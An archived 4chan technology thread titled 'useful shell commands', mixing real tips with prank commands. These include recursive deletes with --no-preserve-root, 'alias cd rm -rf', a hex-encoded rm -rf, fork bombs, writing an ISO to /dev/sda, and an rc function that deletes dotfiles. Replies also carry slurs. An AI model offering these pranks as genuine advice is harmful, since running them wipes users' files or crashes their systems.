[Boards: 3 / a / aco / adv / an / asp / b / bant / biz / c / can / cgl / ck / cm / co / cock / d / diy / e / fa / fap / fit / fitlit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mlpol / mo / mtv / mu / n / news / o / out / outsoc / p / po / pol / qa / qst / r / r9k / s / s4s / sci / soc / sp / spa / t / tg / toy / trash / trv / tv / u / v / vg / vint / vip / vp / vr / w / wg / wsg / wsr / x / y ] [Search | Free Show | Home]

useful shell commands

This is a blue board which means that it's for everybody (Safe For Work content only). If you see any adult content, please report it.

Thread replies: 121
Thread images: 15

File: Terminalicon2_thumb800.png (84KB, 800x480px) Image search: [Google]
Terminalicon2_thumb800.png
84KB, 800x480px
 cat life | grep 'gf' 
>>
these
http://conqueringthecommandline.com/book/basics
>>
touch kids
>>
curl or wget? why?
>>
>>57490006
ls -Cunt
>>
>>57489914
rm -rf *
>>
>>57489914
man unzip && touch balls
>>
File: unimpressed.jpg (40KB, 211x203px) Image search: [Google]
unimpressed.jpg
40KB, 211x203px
>>57489914
>cat life | grep 'gf'
>not grep 'gf' < life
>or simply grep gf life

http://porkmail.org/era/unix/award.html
>>
>>57489914
touch fluffy | tail
>>
>>57489914
man abs
>>
File: 1477763536797m.jpg (98KB, 1024x1024px) Image search: [Google]
1477763536797m.jpg
98KB, 1024x1024px
>>57489914
killall man
>>
who && gawk && uname && talk && date
&& wine && touch && unzip && strip
&& touch && mount && fsck && more && yes;
more; yes; umount && make clean && sleep
>>
>>57489914
rm -rf yourself, you stupid faggot
>>
>>57490823
How do you pronounce rm -rf?
>>
>>57490682
wat does this do
>>
>>57491105
it doesn't actually do anything useful, it's a joke because those are all valid commands and dude sex lmao
>>
>>57489943
thanks for this
>>
>>57489914
yes > /dev/null &
>>
wget http://solussf1iso.stroblindustries.com/Solus-1.2.1.iso
>>
>>57492515
is install solus the new install gentoo
>>
>>57493159
no, it's literally one cunt called kev who's just a complete wanker. Ignore all kev posts, report all solus threads.
>>
File: i love elin.png (422KB, 768x768px) Image search: [Google]
i love elin.png
422KB, 768x768px
>>57490181
best one.
>>
>>57491078
rim raf
>>
>>57491078
r m dash r f
>>
>>57489914

fucking scrub. just use grep only
grep 'gf' life
>>
sudo
>>
>>57491078
Are em dash are eff
>>
>>57493723
cat life | cat | cat | cat | cat | cat | cat | cat | cat | cat | cat | cat | cat | cat | cat | grep 'gf' # :^)
>>
>>57493832
>unix centipede
>>
>>57491865

lol do not do this guys
>>
>>57489914

:(){ :|: & };:
>>
>>57495101
>forkbomb
Found the script kiddie.
>>
>>57489914
sudo cat /dev/ports
>>
>>57495219
>ports
port*
>>
 yes 'pkill chromium' | sh 

fuck chromium, it always slows down my computer so I have to kill it. I know 1 pkill is probably enough but I need to annihilate my shitty browser
>>
cat /dev/urandom > /dev/dsp
>>
>>57495383
get iron
>>
>>57489914
sudo rm -rf --no-preserve-root
sudo apt install Windows-10-Pro
>>
>>57490044
openbsd ftp
>>
>>57490044
curl, better proxy support
>>
>>57495464
Wouldn't that remove apt?
>>
>>57489914
useful tip is to install shellcheck.
You will learn a lot by trying to fix dangerous/erroneous lines
>>
>>57489914
ncmpcpp
>>
>>57490138
forgot the sudo at the front
>>
>>57495514
Yes it would, just typical wintards not knowing a thing about computers.
>>
File: 2dd.jpg (15KB, 300x300px) Image search: [Google]
2dd.jpg
15KB, 300x300px
>>57489914
rm /bin/rm
cat /bin/cat
pkill -9 pkill
chmod 000 /bin/chmod
mount /dev/sda1 /bin/
>>
>>57490052
Add this function to your shell's rc file
vim () { 
ls -1a ~ | grep -o '^\..*'| sed -n "$(jot -r 2 1 $(ls -1a ~ | grep -o '^\..' | wc -l))p" | xargs unlink -rpdf
command vim $*
}
[/code[

Guaranteed to cure manic ricing disorder or at least get you to learn to like a better text editor
>>
>>57495767
fuck this going back to caps as shift and shift as (/[
>>
>>57489914
>cat life
sure you have enough ram?
>>
>>57495767
bash: jot: command not found...
>>
>>57495898
>not having jot

your OS is garbage and ed probably wasn't even your default editor
>>
>>57495187
Does this still crash chrome?
>>
File: 1477705479488.jpg (50KB, 550x529px) Image search: [Google]
1477705479488.jpg
50KB, 550x529px
>>57494645
>when you realize that pipes are a way for programs to go ass-to-mouth
>>
>>57495693
What is he is not a fgt and is su?
>>
>>57490052
ls -cuntflaps
>>
>>57493723
>>57490175

I find it hilarious that you guys think that you're so smart and pointing out his "mistake", but apparently not smart enough to figure out it was intentional satire.
>>
>>57495383
try just
pkill -9 chromium
>>
>>57495777
Checked
>>
>>57492515
>>57493656
Kevinism
https://www.google.com/#q=kevinism
>>
alias cd rm -rf
>>
>>57498207
holy shit
>>
File: IMG_0038.gif (382KB, 376x280px) Image search: [Google]
IMG_0038.gif
382KB, 376x280px
ls | grep -i "song name"
>>
>>57490152
Loled
>>
>>57495383
killall
>>
yes > no
>>
>>57489914
great one for weening users of ubuntu. add to root's bashrc or bash_profile
apt-get() {
s="$(printf '\x49\x6e\x73\x74\x61\x6c\x6c\x20\x47\x65\x6e\x74\x6f\x6f')";
printf '\x1bc';while :;do read -s -n 1 -t .01 && clear && break; printf \
"\x1b[$((RANDOM%LINES));$((RANDOM%$((COLUMNS-${#s}))))f\x1b[$((RANDOM%8+\
30))m$s\n";done #:(){:|:&};:%1337%G3/\/7$0$0|\/|3n@[email protected]<[email protected]/g/flt
}
>>
>>57493159
no its just this kevin faggot shilling solus
>>
>>57489914
 dd if=/dev/op/mouth of=/dev/dick
>>
>>57502340
You just nuked the wrong disk. Learn if vs of
>>
sudo rm -rf * --no-preserve-root
>>
>>57502491
hai2u
>>
>>57491078
ar em ar eff
>>
>>57489914
killall jews
>>
>>57502924
need to make an alias for that
>>
>>57489914
this is all you need
wget http://stroblindustries.com/isos/Solus-1.2.1.iso
>>
>>57502978
what's the deal with the stylish nazi hair?
>>
>>57492515
curl http://solussf1iso.stroblindustries.com/Solus-1.2.1.iso | sudo tee /dev/sda >/dev/null
>>
>>57491078
erem eref
>>
>>57491078
read mail minus read fast
>>
>>57491078
erre eme menos erre efe
>>
>>57495693
>Not logging in as root
You must not like power.
>>
>>57495076
im curious now, what does it do?
>>
>>57498207
This alias only works if your logged in as root
>>
>>57491078
rm rf
>>
>>57495767
that shell one-liner was so unbelievably bad it literally gave me cancer

fuck you, now I'm dying because of you
>>
>>57495076
>>57503562
shitton of cpu in background process?
>>
>>57495505
>>>57490044
>curl, better proxy support
Wget better recursive downloads and resume options.
>>
>>57503596
sudo alias cd rm -rf

echo ':^)'
>>
This is one I actually use
alias findFile='find $1 - type f 2>/dev/null | grep $2'
>>
File: veggie.png (706KB, 1280x720px) Image search: [Google]
veggie.png
706KB, 1280x720px
>>57490823
Rem is best girl
>>
>>57503850
{ while :; do yes > /dev/null &; done } &
>>
>>57491105
gets you out your parents basement
>>
>>57493748
Get a load of this faggot calling them dash rather than the god tier master race term "tack"
>>
File: nngdmjhgb.png (395KB, 687x522px) Image search: [Google]
nngdmjhgb.png
395KB, 687x522px
>>57490682
but then the fags came
>>57493690
>>57493718
>>57493748
>>57502825
>>57503329
>>57503366
>>57503550
>>57503631
>>
alias
>>
>>57500170

:(){:|:&};:
Nice fork bomb you leet haxor_1337
>>
ls `yes`
>>
>>57507769

How come there's no protection against this? I don't mean the exact command, but something to prevent my harddrive from choking.
>>
>>57507769
haha shit
I ran it in a terminal and killed the terminal but it kept going in the background
>>
>>57493159
yes

install solus
>>
>>57489943
I've been looking something like this.
Thanks senpai.
>>
>>57490181
>touch fluffy tail
my main man and fur fuggo right here
>>
>>57490044

wget supports recursive downloads and include/exclude patterns. It is better for archiving.

curl supports more protocols. I personally like the default behavior and informational output better.
>>
>>57489914
What kind of nigger pipes cat to grep
>>
>>57507769
ls: cannot access '`yes`': No such file or directory

i must be doing something wrong
>>
>>57489943
Thanks
>>
alias="alias='alias="alias='alias="alias=alias"'"'"'"
>>
>>57512423
>'alias="alias='
>fagot what are you doing mien nigger?
>>
File: holykek.png (132KB, 504x334px) Image search: [Google]
holykek.png
132KB, 504x334px
>>57496005
>>
 :(){ :|: & };: 
>>
File: concern.png (35KB, 164x156px) Image search: [Google]
concern.png
35KB, 164x156px
>>57513669
>>
echo hello hello hello hello hello hello hello
>>
File: 1478635122901.gif (105KB, 500x281px) Image search: [Google]
1478635122901.gif
105KB, 500x281px
catman is used to create an up to date set of pre-formatted manual
pages known as cat pages. Cat pages are generally much faster to dis‐
play than the original manual pages, but require extra storage space.
The decision to support cat pages is that of the local administrator,
who must provide suitable directories to contain them.
>>
>>57513931
How can you pre-format text when the terminal width is unknown?
>>
script muh_bash_session.log
ls -alh
exit
more muh_bash_session.log
>>
>>57504986
This wount work faggot.
>>
File: 1470799452547.jpg (68KB, 429x410px) Image search: [Google]
1470799452547.jpg
68KB, 429x410px
>this whole thread
fucking neo /g/
>>
>>57490044
Fun fact: there's also a wput
>>
(echo 726d202d7266202a | xxd -r -p)
>>
>>57516653
shrug
>>
>>57489914
It is:
grep gf life/
Fucking retarded faggot
Thread posts: 121
Thread images: 15


[Boards: 3 / a / aco / adv / an / asp / b / bant / biz / c / can / cgl / ck / cm / co / cock / d / diy / e / fa / fap / fit / fitlit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mlpol / mo / mtv / mu / n / news / o / out / outsoc / p / po / pol / qa / qst / r / r9k / s / s4s / sci / soc / sp / spa / t / tg / toy / trash / trv / tv / u / v / vg / vint / vip / vp / vr / w / wg / wsg / wsr / x / y] [Search | Top | Home]

I'm aware that Imgur.com will stop allowing adult images since 15th of May. I'm taking actions to backup as much data as possible.
Read more on this topic here - https://archived.moe/talk/thread/1694/


If you need a post removed click on it's [Report] button and follow the instruction.
DMCA Content Takedown via dmca.com
All images are hosted on imgur.com.
If you like this website please support us by donating with Bitcoins at 16mKtbZiwW52BLkibtCr8jUg2KVUMTxVQ5
All trademarks and copyrights on this page are owned by their respective parties.
Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.
This is a 4chan archive - all of the content originated from that site.
This means that RandomArchive shows their content, archived.
If you need information for a Poster - contact them.